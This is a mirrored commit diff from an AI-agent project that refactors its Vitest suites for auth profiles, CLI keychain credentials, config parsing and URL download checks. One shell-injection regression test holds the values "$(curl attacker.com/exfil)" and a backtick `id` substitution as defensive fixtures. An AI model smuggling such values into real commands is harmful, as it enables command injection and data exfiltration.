mirror of
https://github.com/moltbot/moltbot.git
synced 2026-04-21 05:32:53 +00:00
test: dedupe config and utility suites
This commit is contained in:
@@ -6,6 +6,15 @@ import { ensureAuthProfileStore } from "./auth-profiles.js";
|
||||
import { AUTH_STORE_VERSION, log } from "./auth-profiles/constants.js";
|
||||
|
||||
describe("ensureAuthProfileStore", () => {
|
||||
function withTempAgentDir<T>(prefix: string, run: (agentDir: string) => T): T {
|
||||
const agentDir = fs.mkdtempSync(path.join(os.tmpdir(), prefix));
|
||||
try {
|
||||
return run(agentDir);
|
||||
} finally {
|
||||
fs.rmSync(agentDir, { recursive: true, force: true });
|
||||
}
|
||||
}
|
||||
|
||||
it("migrates legacy auth.json and deletes it (PR #368)", () => {
|
||||
const agentDir = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-auth-profiles-"));
|
||||
try {
|
||||
@@ -123,67 +132,65 @@ describe("ensureAuthProfileStore", () => {
|
||||
}
|
||||
});
|
||||
|
||||
it("normalizes auth-profiles credential aliases with canonical-field precedence", () => {
|
||||
const cases = [
|
||||
{
|
||||
name: "mode/apiKey aliases map to type/key",
|
||||
profile: {
|
||||
provider: "anthropic",
|
||||
mode: "api_key",
|
||||
apiKey: "sk-ant-alias", // pragma: allowlist secret
|
||||
},
|
||||
expected: {
|
||||
type: "api_key",
|
||||
key: "sk-ant-alias",
|
||||
},
|
||||
it.each([
|
||||
{
|
||||
name: "mode/apiKey aliases map to type/key",
|
||||
profile: {
|
||||
provider: "anthropic",
|
||||
mode: "api_key",
|
||||
apiKey: "sk-ant-alias", // pragma: allowlist secret
|
||||
},
|
||||
{
|
||||
name: "canonical type overrides conflicting mode alias",
|
||||
profile: {
|
||||
provider: "anthropic",
|
||||
type: "api_key",
|
||||
mode: "token",
|
||||
key: "sk-ant-canonical",
|
||||
},
|
||||
expected: {
|
||||
type: "api_key",
|
||||
key: "sk-ant-canonical",
|
||||
},
|
||||
expected: {
|
||||
type: "api_key",
|
||||
key: "sk-ant-alias",
|
||||
},
|
||||
{
|
||||
name: "canonical key overrides conflicting apiKey alias",
|
||||
profile: {
|
||||
provider: "anthropic",
|
||||
type: "api_key",
|
||||
key: "sk-ant-canonical",
|
||||
apiKey: "sk-ant-alias", // pragma: allowlist secret
|
||||
},
|
||||
expected: {
|
||||
type: "api_key",
|
||||
key: "sk-ant-canonical",
|
||||
},
|
||||
},
|
||||
{
|
||||
name: "canonical type overrides conflicting mode alias",
|
||||
profile: {
|
||||
provider: "anthropic",
|
||||
type: "api_key",
|
||||
mode: "token",
|
||||
key: "sk-ant-canonical",
|
||||
},
|
||||
{
|
||||
name: "canonical profile shape remains unchanged",
|
||||
profile: {
|
||||
provider: "anthropic",
|
||||
type: "api_key",
|
||||
key: "sk-ant-direct",
|
||||
},
|
||||
expected: {
|
||||
type: "api_key",
|
||||
key: "sk-ant-direct",
|
||||
},
|
||||
expected: {
|
||||
type: "api_key",
|
||||
key: "sk-ant-canonical",
|
||||
},
|
||||
] as const;
|
||||
|
||||
for (const testCase of cases) {
|
||||
const agentDir = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-auth-alias-"));
|
||||
try {
|
||||
},
|
||||
{
|
||||
name: "canonical key overrides conflicting apiKey alias",
|
||||
profile: {
|
||||
provider: "anthropic",
|
||||
type: "api_key",
|
||||
key: "sk-ant-canonical",
|
||||
apiKey: "sk-ant-alias", // pragma: allowlist secret
|
||||
},
|
||||
expected: {
|
||||
type: "api_key",
|
||||
key: "sk-ant-canonical",
|
||||
},
|
||||
},
|
||||
{
|
||||
name: "canonical profile shape remains unchanged",
|
||||
profile: {
|
||||
provider: "anthropic",
|
||||
type: "api_key",
|
||||
key: "sk-ant-direct",
|
||||
},
|
||||
expected: {
|
||||
type: "api_key",
|
||||
key: "sk-ant-direct",
|
||||
},
|
||||
},
|
||||
] as const)(
|
||||
"normalizes auth-profiles credential aliases with canonical-field precedence: $name",
|
||||
({ name, profile, expected }) => {
|
||||
withTempAgentDir("openclaw-auth-alias-", (agentDir) => {
|
||||
const storeData = {
|
||||
version: AUTH_STORE_VERSION,
|
||||
profiles: {
|
||||
"anthropic:work": testCase.profile,
|
||||
"anthropic:work": profile,
|
||||
},
|
||||
};
|
||||
fs.writeFileSync(
|
||||
@@ -193,16 +200,13 @@ describe("ensureAuthProfileStore", () => {
|
||||
);
|
||||
|
||||
const store = ensureAuthProfileStore(agentDir);
|
||||
expect(store.profiles["anthropic:work"], testCase.name).toMatchObject(testCase.expected);
|
||||
} finally {
|
||||
fs.rmSync(agentDir, { recursive: true, force: true });
|
||||
}
|
||||
}
|
||||
});
|
||||
expect(store.profiles["anthropic:work"], name).toMatchObject(expected);
|
||||
});
|
||||
},
|
||||
);
|
||||
|
||||
it("normalizes mode/apiKey aliases while migrating legacy auth.json", () => {
|
||||
const agentDir = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-auth-legacy-alias-"));
|
||||
try {
|
||||
withTempAgentDir("openclaw-auth-legacy-alias-", (agentDir) => {
|
||||
fs.writeFileSync(
|
||||
path.join(agentDir, "auth.json"),
|
||||
`${JSON.stringify(
|
||||
@@ -225,53 +229,51 @@ describe("ensureAuthProfileStore", () => {
|
||||
provider: "anthropic",
|
||||
key: "sk-ant-legacy",
|
||||
});
|
||||
} finally {
|
||||
fs.rmSync(agentDir, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
it("logs one warning with aggregated reasons for rejected auth-profiles entries", () => {
|
||||
const agentDir = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-auth-invalid-"));
|
||||
const warnSpy = vi.spyOn(log, "warn").mockImplementation(() => undefined);
|
||||
try {
|
||||
const invalidStore = {
|
||||
version: AUTH_STORE_VERSION,
|
||||
profiles: {
|
||||
"anthropic:missing-type": {
|
||||
provider: "anthropic",
|
||||
withTempAgentDir("openclaw-auth-invalid-", (agentDir) => {
|
||||
const invalidStore = {
|
||||
version: AUTH_STORE_VERSION,
|
||||
profiles: {
|
||||
"anthropic:missing-type": {
|
||||
provider: "anthropic",
|
||||
},
|
||||
"openai:missing-provider": {
|
||||
type: "api_key",
|
||||
key: "sk-openai",
|
||||
},
|
||||
"qwen:not-object": "broken",
|
||||
},
|
||||
"openai:missing-provider": {
|
||||
type: "api_key",
|
||||
key: "sk-openai",
|
||||
},
|
||||
"qwen:not-object": "broken",
|
||||
},
|
||||
};
|
||||
fs.writeFileSync(
|
||||
path.join(agentDir, "auth-profiles.json"),
|
||||
`${JSON.stringify(invalidStore, null, 2)}\n`,
|
||||
"utf8",
|
||||
);
|
||||
};
|
||||
fs.writeFileSync(
|
||||
path.join(agentDir, "auth-profiles.json"),
|
||||
`${JSON.stringify(invalidStore, null, 2)}\n`,
|
||||
"utf8",
|
||||
);
|
||||
|
||||
const store = ensureAuthProfileStore(agentDir);
|
||||
expect(store.profiles).toEqual({});
|
||||
expect(warnSpy).toHaveBeenCalledTimes(1);
|
||||
expect(warnSpy).toHaveBeenCalledWith(
|
||||
"ignored invalid auth profile entries during store load",
|
||||
{
|
||||
source: "auth-profiles.json",
|
||||
dropped: 3,
|
||||
reasons: {
|
||||
invalid_type: 1,
|
||||
missing_provider: 1,
|
||||
non_object: 1,
|
||||
const store = ensureAuthProfileStore(agentDir);
|
||||
expect(store.profiles).toEqual({});
|
||||
expect(warnSpy).toHaveBeenCalledTimes(1);
|
||||
expect(warnSpy).toHaveBeenCalledWith(
|
||||
"ignored invalid auth profile entries during store load",
|
||||
{
|
||||
source: "auth-profiles.json",
|
||||
dropped: 3,
|
||||
reasons: {
|
||||
invalid_type: 1,
|
||||
missing_provider: 1,
|
||||
non_object: 1,
|
||||
},
|
||||
keys: ["anthropic:missing-type", "openai:missing-provider", "qwen:not-object"],
|
||||
},
|
||||
keys: ["anthropic:missing-type", "openai:missing-provider", "qwen:not-object"],
|
||||
},
|
||||
);
|
||||
);
|
||||
});
|
||||
} finally {
|
||||
warnSpy.mockRestore();
|
||||
fs.rmSync(agentDir, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
@@ -53,6 +53,18 @@ function createJwtWithExp(expSeconds: number): string {
|
||||
return `${encode({ alg: "RS256", typ: "JWT" })}.${encode({ exp: expSeconds })}.signature`;
|
||||
}
|
||||
|
||||
function mockClaudeCliCredentialRead() {
|
||||
execSyncMock.mockImplementation(() =>
|
||||
JSON.stringify({
|
||||
claudeAiOauth: {
|
||||
accessToken: `token-${Date.now()}`,
|
||||
refreshToken: "cached-refresh",
|
||||
expiresAt: Date.now() + 60_000,
|
||||
},
|
||||
}),
|
||||
);
|
||||
}
|
||||
|
||||
describe("cli credentials", () => {
|
||||
beforeAll(async () => {
|
||||
({
|
||||
@@ -98,28 +110,27 @@ describe("cli credentials", () => {
|
||||
expect((addCall?.[1] as string[] | undefined) ?? []).toContain("-U");
|
||||
});
|
||||
|
||||
it("prevents shell injection via untrusted token payload values", async () => {
|
||||
const cases = [
|
||||
{
|
||||
access: "x'$(curl attacker.com/exfil)'y",
|
||||
refresh: "safe-refresh",
|
||||
expectedPayload: "x'$(curl attacker.com/exfil)'y",
|
||||
},
|
||||
{
|
||||
access: "safe-access",
|
||||
refresh: "token`id`value",
|
||||
expectedPayload: "token`id`value",
|
||||
},
|
||||
] as const;
|
||||
|
||||
for (const testCase of cases) {
|
||||
it.each([
|
||||
{
|
||||
access: "x'$(curl attacker.com/exfil)'y",
|
||||
refresh: "safe-refresh",
|
||||
expectedPayload: "x'$(curl attacker.com/exfil)'y",
|
||||
},
|
||||
{
|
||||
access: "safe-access",
|
||||
refresh: "token`id`value",
|
||||
expectedPayload: "token`id`value",
|
||||
},
|
||||
] as const)(
|
||||
"prevents shell injection via untrusted token payload value $expectedPayload",
|
||||
async ({ access, refresh, expectedPayload }) => {
|
||||
execFileSyncMock.mockClear();
|
||||
mockExistingClaudeKeychainItem();
|
||||
|
||||
const ok = writeClaudeCliKeychainCredentials(
|
||||
{
|
||||
access: testCase.access,
|
||||
refresh: testCase.refresh,
|
||||
access,
|
||||
refresh,
|
||||
expires: Date.now() + 60_000,
|
||||
},
|
||||
{ execFileSync: execFileSyncMock },
|
||||
@@ -132,10 +143,10 @@ describe("cli credentials", () => {
|
||||
const args = (addCall?.[1] as string[] | undefined) ?? [];
|
||||
const wIndex = args.indexOf("-w");
|
||||
const passwordValue = args[wIndex + 1];
|
||||
expect(passwordValue).toContain(testCase.expectedPayload);
|
||||
expect(passwordValue).toContain(expectedPayload);
|
||||
expect(addCall?.[0]).toBe("security");
|
||||
}
|
||||
});
|
||||
},
|
||||
);
|
||||
|
||||
it("falls back to the file store when the keychain update fails", async () => {
|
||||
const tempDir = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-"));
|
||||
@@ -189,50 +200,43 @@ describe("cli credentials", () => {
|
||||
expect(updated.claudeAiOauth?.expiresAt).toBeTypeOf("number");
|
||||
});
|
||||
|
||||
it("caches Claude Code CLI credentials within the TTL window", async () => {
|
||||
execSyncMock.mockImplementation(() =>
|
||||
JSON.stringify({
|
||||
claudeAiOauth: {
|
||||
accessToken: "cached-access",
|
||||
refreshToken: "cached-refresh",
|
||||
expiresAt: Date.now() + 60_000,
|
||||
},
|
||||
}),
|
||||
);
|
||||
it.each([
|
||||
{
|
||||
name: "caches Claude Code CLI credentials within the TTL window",
|
||||
allowKeychainPromptSecondRead: false,
|
||||
advanceMs: 0,
|
||||
expectedCalls: 1,
|
||||
expectSameObject: true,
|
||||
},
|
||||
{
|
||||
name: "refreshes Claude Code CLI credentials after the TTL window",
|
||||
allowKeychainPromptSecondRead: true,
|
||||
advanceMs: CLI_CREDENTIALS_CACHE_TTL_MS + 1,
|
||||
expectedCalls: 2,
|
||||
expectSameObject: false,
|
||||
},
|
||||
] as const)(
|
||||
"$name",
|
||||
async ({ allowKeychainPromptSecondRead, advanceMs, expectedCalls, expectSameObject }) => {
|
||||
mockClaudeCliCredentialRead();
|
||||
vi.setSystemTime(new Date("2025-01-01T00:00:00Z"));
|
||||
|
||||
vi.setSystemTime(new Date("2025-01-01T00:00:00Z"));
|
||||
const first = await readCachedClaudeCliCredentials(true);
|
||||
if (advanceMs > 0) {
|
||||
vi.advanceTimersByTime(advanceMs);
|
||||
}
|
||||
const second = await readCachedClaudeCliCredentials(allowKeychainPromptSecondRead);
|
||||
|
||||
const first = await readCachedClaudeCliCredentials(true);
|
||||
const second = await readCachedClaudeCliCredentials(false);
|
||||
|
||||
expect(first).toBeTruthy();
|
||||
expect(second).toEqual(first);
|
||||
expect(execSyncMock).toHaveBeenCalledTimes(1);
|
||||
});
|
||||
|
||||
it("refreshes Claude Code CLI credentials after the TTL window", async () => {
|
||||
execSyncMock.mockImplementation(() =>
|
||||
JSON.stringify({
|
||||
claudeAiOauth: {
|
||||
accessToken: `token-${Date.now()}`,
|
||||
refreshToken: "refresh",
|
||||
expiresAt: Date.now() + 60_000,
|
||||
},
|
||||
}),
|
||||
);
|
||||
|
||||
vi.setSystemTime(new Date("2025-01-01T00:00:00Z"));
|
||||
|
||||
const first = await readCachedClaudeCliCredentials(true);
|
||||
|
||||
vi.advanceTimersByTime(CLI_CREDENTIALS_CACHE_TTL_MS + 1);
|
||||
|
||||
const second = await readCachedClaudeCliCredentials(true);
|
||||
|
||||
expect(first).toBeTruthy();
|
||||
expect(second).toBeTruthy();
|
||||
expect(execSyncMock).toHaveBeenCalledTimes(2);
|
||||
});
|
||||
expect(first).toBeTruthy();
|
||||
expect(second).toBeTruthy();
|
||||
if (expectSameObject) {
|
||||
expect(second).toEqual(first);
|
||||
} else {
|
||||
expect(second).not.toEqual(first);
|
||||
}
|
||||
expect(execSyncMock).toHaveBeenCalledTimes(expectedCalls);
|
||||
},
|
||||
);
|
||||
|
||||
it("reads Codex credentials from keychain when available", async () => {
|
||||
const tempHome = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-codex-"));
|
||||
|
||||
@@ -4,6 +4,17 @@ import path from "node:path";
|
||||
import { describe, expect, it } from "vitest";
|
||||
import { parseBatchSource } from "./config-set-input.js";
|
||||
|
||||
function withBatchFile<T>(prefix: string, contents: string, run: (batchPath: string) => T): T {
|
||||
const tempDir = fs.mkdtempSync(path.join(os.tmpdir(), prefix));
|
||||
const batchPath = path.join(tempDir, "batch.json");
|
||||
fs.writeFileSync(batchPath, contents, "utf8");
|
||||
try {
|
||||
return run(batchPath);
|
||||
} finally {
|
||||
fs.rmSync(tempDir, { recursive: true, force: true });
|
||||
}
|
||||
}
|
||||
|
||||
describe("config set input parsing", () => {
|
||||
it("returns null when no batch options are provided", () => {
|
||||
expect(parseBatchSource({})).toBeNull();
|
||||
@@ -45,69 +56,52 @@ describe("config set input parsing", () => {
|
||||
]);
|
||||
});
|
||||
|
||||
it("rejects malformed --batch-json payloads", () => {
|
||||
expect(() =>
|
||||
parseBatchSource({
|
||||
batchJson: "{",
|
||||
}),
|
||||
).toThrow("Failed to parse --batch-json:");
|
||||
});
|
||||
|
||||
it("rejects --batch-json payloads that are not arrays", () => {
|
||||
expect(() =>
|
||||
parseBatchSource({
|
||||
batchJson: '{"path":"gateway.auth.mode","value":"token"}',
|
||||
}),
|
||||
).toThrow("--batch-json must be a JSON array.");
|
||||
});
|
||||
|
||||
it("rejects batch entries without path", () => {
|
||||
expect(() =>
|
||||
parseBatchSource({
|
||||
batchJson: '[{"value":"token"}]',
|
||||
}),
|
||||
).toThrow("--batch-json[0].path is required.");
|
||||
});
|
||||
|
||||
it("rejects batch entries that do not contain exactly one mode key", () => {
|
||||
expect(() =>
|
||||
parseBatchSource({
|
||||
batchJson: '[{"path":"gateway.auth.mode","value":"token","provider":{"source":"env"}}]',
|
||||
}),
|
||||
).toThrow("--batch-json[0] must include exactly one of: value, ref, provider.");
|
||||
it.each([
|
||||
{ name: "malformed payload", batchJson: "{", message: "Failed to parse --batch-json:" },
|
||||
{
|
||||
name: "non-array payload",
|
||||
batchJson: '{"path":"gateway.auth.mode","value":"token"}',
|
||||
message: "--batch-json must be a JSON array.",
|
||||
},
|
||||
{
|
||||
name: "entry without path",
|
||||
batchJson: '[{"value":"token"}]',
|
||||
message: "--batch-json[0].path is required.",
|
||||
},
|
||||
{
|
||||
name: "entry with multiple mode keys",
|
||||
batchJson: '[{"path":"gateway.auth.mode","value":"token","provider":{"source":"env"}}]',
|
||||
message: "--batch-json[0] must include exactly one of: value, ref, provider.",
|
||||
},
|
||||
] as const)("rejects $name", ({ batchJson, message }) => {
|
||||
expect(() => parseBatchSource({ batchJson })).toThrow(message);
|
||||
});
|
||||
|
||||
it("parses valid --batch-file payloads", () => {
|
||||
const tempDir = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-config-set-input-"));
|
||||
const batchPath = path.join(tempDir, "batch.json");
|
||||
fs.writeFileSync(batchPath, '[{"path":"gateway.auth.mode","value":"token"}]', "utf8");
|
||||
try {
|
||||
const parsed = parseBatchSource({
|
||||
batchFile: batchPath,
|
||||
});
|
||||
expect(parsed).toEqual([
|
||||
{
|
||||
path: "gateway.auth.mode",
|
||||
value: "token",
|
||||
},
|
||||
]);
|
||||
} finally {
|
||||
fs.rmSync(tempDir, { recursive: true, force: true });
|
||||
}
|
||||
withBatchFile(
|
||||
"openclaw-config-set-input-",
|
||||
'[{"path":"gateway.auth.mode","value":"token"}]',
|
||||
(batchPath) => {
|
||||
const parsed = parseBatchSource({
|
||||
batchFile: batchPath,
|
||||
});
|
||||
expect(parsed).toEqual([
|
||||
{
|
||||
path: "gateway.auth.mode",
|
||||
value: "token",
|
||||
},
|
||||
]);
|
||||
},
|
||||
);
|
||||
});
|
||||
|
||||
it("rejects malformed --batch-file payloads", () => {
|
||||
const tempDir = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-config-set-input-invalid-"));
|
||||
const batchPath = path.join(tempDir, "batch.json");
|
||||
fs.writeFileSync(batchPath, "{}", "utf8");
|
||||
try {
|
||||
withBatchFile("openclaw-config-set-input-invalid-", "{}", (batchPath) => {
|
||||
expect(() =>
|
||||
parseBatchSource({
|
||||
batchFile: batchPath,
|
||||
}),
|
||||
).toThrow("--batch-file must be a JSON array.");
|
||||
} finally {
|
||||
fs.rmSync(tempDir, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
@@ -2,9 +2,11 @@ import { describe, expect, it } from "vitest";
|
||||
import { parseCliLogLevelOption } from "./log-level-option.js";
|
||||
|
||||
describe("parseCliLogLevelOption", () => {
|
||||
it("accepts allowed log levels", () => {
|
||||
expect(parseCliLogLevelOption("debug")).toBe("debug");
|
||||
expect(parseCliLogLevelOption(" trace ")).toBe("trace");
|
||||
it.each([
|
||||
["debug", "debug"],
|
||||
[" trace ", "trace"],
|
||||
] as const)("accepts allowed log level %p", (input, expected) => {
|
||||
expect(parseCliLogLevelOption(input)).toBe(expected);
|
||||
});
|
||||
|
||||
it("rejects invalid log levels", () => {
|
||||
|
||||
@@ -185,51 +185,44 @@ describe("nodes camera helpers", () => {
|
||||
).rejects.toThrow(/must match node host/i);
|
||||
});
|
||||
|
||||
it("rejects invalid url payload responses", async () => {
|
||||
const cases: Array<{
|
||||
name: string;
|
||||
url: string;
|
||||
response?: Response;
|
||||
expectedMessage: RegExp;
|
||||
}> = [
|
||||
{
|
||||
name: "non-https url",
|
||||
url: "http://198.51.100.42/x.bin",
|
||||
expectedMessage: /only https/i,
|
||||
},
|
||||
{
|
||||
name: "oversized content-length",
|
||||
url: "https://198.51.100.42/huge.bin",
|
||||
response: new Response("tiny", {
|
||||
status: 200,
|
||||
headers: { "content-length": String(999_999_999) },
|
||||
}),
|
||||
expectedMessage: /exceeds max/i,
|
||||
},
|
||||
{
|
||||
name: "non-ok status",
|
||||
url: "https://198.51.100.42/down.bin",
|
||||
response: new Response("down", { status: 503, statusText: "Service Unavailable" }),
|
||||
expectedMessage: /503/i,
|
||||
},
|
||||
{
|
||||
name: "empty response body",
|
||||
url: "https://198.51.100.42/empty.bin",
|
||||
response: new Response(null, { status: 200 }),
|
||||
expectedMessage: /empty response body/i,
|
||||
},
|
||||
];
|
||||
|
||||
for (const testCase of cases) {
|
||||
if (testCase.response) {
|
||||
stubFetchResponse(testCase.response);
|
||||
it.each([
|
||||
{
|
||||
name: "non-https url",
|
||||
url: "http://198.51.100.42/x.bin",
|
||||
expectedMessage: /only https/i,
|
||||
},
|
||||
{
|
||||
name: "oversized content-length",
|
||||
url: "https://198.51.100.42/huge.bin",
|
||||
response: new Response("tiny", {
|
||||
status: 200,
|
||||
headers: { "content-length": String(999_999_999) },
|
||||
}),
|
||||
expectedMessage: /exceeds max/i,
|
||||
},
|
||||
{
|
||||
name: "non-ok status",
|
||||
url: "https://198.51.100.42/down.bin",
|
||||
response: new Response("down", { status: 503, statusText: "Service Unavailable" }),
|
||||
expectedMessage: /503/i,
|
||||
},
|
||||
{
|
||||
name: "empty response body",
|
||||
url: "https://198.51.100.42/empty.bin",
|
||||
response: new Response(null, { status: 200 }),
|
||||
expectedMessage: /empty response body/i,
|
||||
},
|
||||
] as const)(
|
||||
"rejects invalid url payload response: $name",
|
||||
async ({ url, response, expectedMessage }) => {
|
||||
if (response) {
|
||||
stubFetchResponse(response);
|
||||
}
|
||||
await expect(
|
||||
writeUrlToFile("/tmp/ignored", testCase.url, { expectedHost: "198.51.100.42" }),
|
||||
testCase.name,
|
||||
).rejects.toThrow(testCase.expectedMessage);
|
||||
}
|
||||
});
|
||||
writeUrlToFile("/tmp/ignored", url, { expectedHost: "198.51.100.42" }),
|
||||
).rejects.toThrow(expectedMessage);
|
||||
},
|
||||
);
|
||||
|
||||
it("removes partially written file when url stream fails", async () => {
|
||||
const stream = new ReadableStream<Uint8Array>({
|
||||
|
||||
@@ -1,47 +1,43 @@
|
||||
import { describe, expect, it } from "vitest";
|
||||
import { validateConfigObject } from "./config.js";
|
||||
|
||||
function expectChannelAllowlistIssue(
|
||||
result: ReturnType<typeof validateConfigObject>,
|
||||
path: string | readonly string[],
|
||||
) {
|
||||
expect(result.ok).toBe(false);
|
||||
if (!result.ok) {
|
||||
const pathParts = Array.isArray(path) ? path : [path];
|
||||
expect(
|
||||
result.issues.some((issue) => pathParts.every((part) => issue.path.includes(part))),
|
||||
).toBe(true);
|
||||
}
|
||||
}
|
||||
|
||||
describe('dmPolicy="allowlist" requires non-empty effective allowFrom', () => {
|
||||
it('rejects telegram dmPolicy="allowlist" without allowFrom', () => {
|
||||
const res = validateConfigObject({
|
||||
channels: { telegram: { dmPolicy: "allowlist", botToken: "fake" } },
|
||||
});
|
||||
expect(res.ok).toBe(false);
|
||||
if (!res.ok) {
|
||||
expect(res.issues.some((i) => i.path.includes("channels.telegram.allowFrom"))).toBe(true);
|
||||
}
|
||||
});
|
||||
|
||||
it('rejects signal dmPolicy="allowlist" without allowFrom', () => {
|
||||
const res = validateConfigObject({
|
||||
channels: { signal: { dmPolicy: "allowlist" } },
|
||||
});
|
||||
expect(res.ok).toBe(false);
|
||||
if (!res.ok) {
|
||||
expect(res.issues.some((i) => i.path.includes("channels.signal.allowFrom"))).toBe(true);
|
||||
}
|
||||
});
|
||||
|
||||
it('rejects discord dmPolicy="allowlist" without allowFrom', () => {
|
||||
const res = validateConfigObject({
|
||||
channels: { discord: { dmPolicy: "allowlist" } },
|
||||
});
|
||||
expect(res.ok).toBe(false);
|
||||
if (!res.ok) {
|
||||
expect(
|
||||
res.issues.some((i) => i.path.includes("channels.discord") && i.path.includes("allowFrom")),
|
||||
).toBe(true);
|
||||
}
|
||||
});
|
||||
|
||||
it('rejects whatsapp dmPolicy="allowlist" without allowFrom', () => {
|
||||
const res = validateConfigObject({
|
||||
channels: { whatsapp: { dmPolicy: "allowlist" } },
|
||||
});
|
||||
expect(res.ok).toBe(false);
|
||||
if (!res.ok) {
|
||||
expect(res.issues.some((i) => i.path.includes("channels.whatsapp.allowFrom"))).toBe(true);
|
||||
}
|
||||
it.each([
|
||||
{
|
||||
name: "telegram",
|
||||
config: { telegram: { dmPolicy: "allowlist", botToken: "fake" } },
|
||||
issuePath: "channels.telegram.allowFrom",
|
||||
},
|
||||
{
|
||||
name: "signal",
|
||||
config: { signal: { dmPolicy: "allowlist" } },
|
||||
issuePath: "channels.signal.allowFrom",
|
||||
},
|
||||
{
|
||||
name: "discord",
|
||||
config: { discord: { dmPolicy: "allowlist" } },
|
||||
issuePath: ["channels.discord", "allowFrom"],
|
||||
},
|
||||
{
|
||||
name: "whatsapp",
|
||||
config: { whatsapp: { dmPolicy: "allowlist" } },
|
||||
issuePath: "channels.whatsapp.allowFrom",
|
||||
},
|
||||
] as const)('rejects $name dmPolicy="allowlist" without allowFrom', ({ config, issuePath }) => {
|
||||
expectChannelAllowlistIssue(validateConfigObject({ channels: config }), issuePath);
|
||||
});
|
||||
|
||||
it('accepts dmPolicy="pairing" without allowFrom', () => {
|
||||
@@ -53,51 +49,31 @@ describe('dmPolicy="allowlist" requires non-empty effective allowFrom', () => {
|
||||
});
|
||||
|
||||
describe('account dmPolicy="allowlist" uses inherited allowFrom', () => {
|
||||
it("accepts telegram account allowlist when parent allowFrom exists", () => {
|
||||
const res = validateConfigObject({
|
||||
channels: {
|
||||
it.each([
|
||||
{
|
||||
name: "telegram",
|
||||
config: {
|
||||
telegram: {
|
||||
allowFrom: ["12345"],
|
||||
accounts: { bot1: { dmPolicy: "allowlist", botToken: "fake" } },
|
||||
},
|
||||
},
|
||||
});
|
||||
expect(res.ok).toBe(true);
|
||||
});
|
||||
|
||||
it("rejects telegram account allowlist when neither account nor parent has allowFrom", () => {
|
||||
const res = validateConfigObject({
|
||||
channels: { telegram: { accounts: { bot1: { dmPolicy: "allowlist", botToken: "fake" } } } },
|
||||
});
|
||||
expect(res.ok).toBe(false);
|
||||
if (!res.ok) {
|
||||
expect(
|
||||
res.issues.some((i) => i.path.includes("channels.telegram.accounts.bot1.allowFrom")),
|
||||
).toBe(true);
|
||||
}
|
||||
});
|
||||
|
||||
it("accepts signal account allowlist when parent allowFrom exists", () => {
|
||||
const res = validateConfigObject({
|
||||
channels: {
|
||||
},
|
||||
{
|
||||
name: "signal",
|
||||
config: {
|
||||
signal: { allowFrom: ["+15550001111"], accounts: { work: { dmPolicy: "allowlist" } } },
|
||||
},
|
||||
});
|
||||
expect(res.ok).toBe(true);
|
||||
});
|
||||
|
||||
it("accepts discord account allowlist when parent allowFrom exists", () => {
|
||||
const res = validateConfigObject({
|
||||
channels: {
|
||||
},
|
||||
{
|
||||
name: "discord",
|
||||
config: {
|
||||
discord: { allowFrom: ["123456789"], accounts: { work: { dmPolicy: "allowlist" } } },
|
||||
},
|
||||
});
|
||||
expect(res.ok).toBe(true);
|
||||
});
|
||||
|
||||
it("accepts slack account allowlist when parent allowFrom exists", () => {
|
||||
const res = validateConfigObject({
|
||||
channels: {
|
||||
},
|
||||
{
|
||||
name: "slack",
|
||||
config: {
|
||||
slack: {
|
||||
allowFrom: ["U123"],
|
||||
botToken: "xoxb-top",
|
||||
@@ -107,41 +83,43 @@ describe('account dmPolicy="allowlist" uses inherited allowFrom', () => {
|
||||
},
|
||||
},
|
||||
},
|
||||
});
|
||||
expect(res.ok).toBe(true);
|
||||
});
|
||||
|
||||
it("accepts whatsapp account allowlist when parent allowFrom exists", () => {
|
||||
const res = validateConfigObject({
|
||||
channels: {
|
||||
},
|
||||
{
|
||||
name: "whatsapp",
|
||||
config: {
|
||||
whatsapp: { allowFrom: ["+15550001111"], accounts: { work: { dmPolicy: "allowlist" } } },
|
||||
},
|
||||
});
|
||||
expect(res.ok).toBe(true);
|
||||
});
|
||||
|
||||
it("accepts imessage account allowlist when parent allowFrom exists", () => {
|
||||
const res = validateConfigObject({
|
||||
channels: {
|
||||
},
|
||||
{
|
||||
name: "imessage",
|
||||
config: {
|
||||
imessage: { allowFrom: ["alice"], accounts: { work: { dmPolicy: "allowlist" } } },
|
||||
},
|
||||
});
|
||||
expect(res.ok).toBe(true);
|
||||
});
|
||||
|
||||
it("accepts irc account allowlist when parent allowFrom exists", () => {
|
||||
const res = validateConfigObject({
|
||||
channels: { irc: { allowFrom: ["nick"], accounts: { work: { dmPolicy: "allowlist" } } } },
|
||||
});
|
||||
expect(res.ok).toBe(true);
|
||||
});
|
||||
|
||||
it("accepts bluebubbles account allowlist when parent allowFrom exists", () => {
|
||||
const res = validateConfigObject({
|
||||
channels: {
|
||||
},
|
||||
{
|
||||
name: "irc",
|
||||
config: {
|
||||
irc: { allowFrom: ["nick"], accounts: { work: { dmPolicy: "allowlist" } } },
|
||||
},
|
||||
},
|
||||
{
|
||||
name: "bluebubbles",
|
||||
config: {
|
||||
bluebubbles: { allowFrom: ["sender"], accounts: { work: { dmPolicy: "allowlist" } } },
|
||||
},
|
||||
});
|
||||
expect(res.ok).toBe(true);
|
||||
},
|
||||
] as const)("accepts $name account allowlist when parent allowFrom exists", ({ config }) => {
|
||||
expect(validateConfigObject({ channels: config }).ok).toBe(true);
|
||||
});
|
||||
|
||||
it("rejects telegram account allowlist when neither account nor parent has allowFrom", () => {
|
||||
expectChannelAllowlistIssue(
|
||||
validateConfigObject({
|
||||
channels: {
|
||||
telegram: { accounts: { bot1: { dmPolicy: "allowlist", botToken: "fake" } } },
|
||||
},
|
||||
}),
|
||||
"channels.telegram.accounts.bot1.allowFrom",
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
@@ -2,72 +2,19 @@ import { describe, expect, it } from "vitest";
|
||||
import { validateConfigObject } from "./config.js";
|
||||
|
||||
describe("config discord presence", () => {
|
||||
it("accepts status-only presence", () => {
|
||||
const res = validateConfigObject({
|
||||
channels: {
|
||||
discord: {
|
||||
status: "idle",
|
||||
},
|
||||
},
|
||||
});
|
||||
|
||||
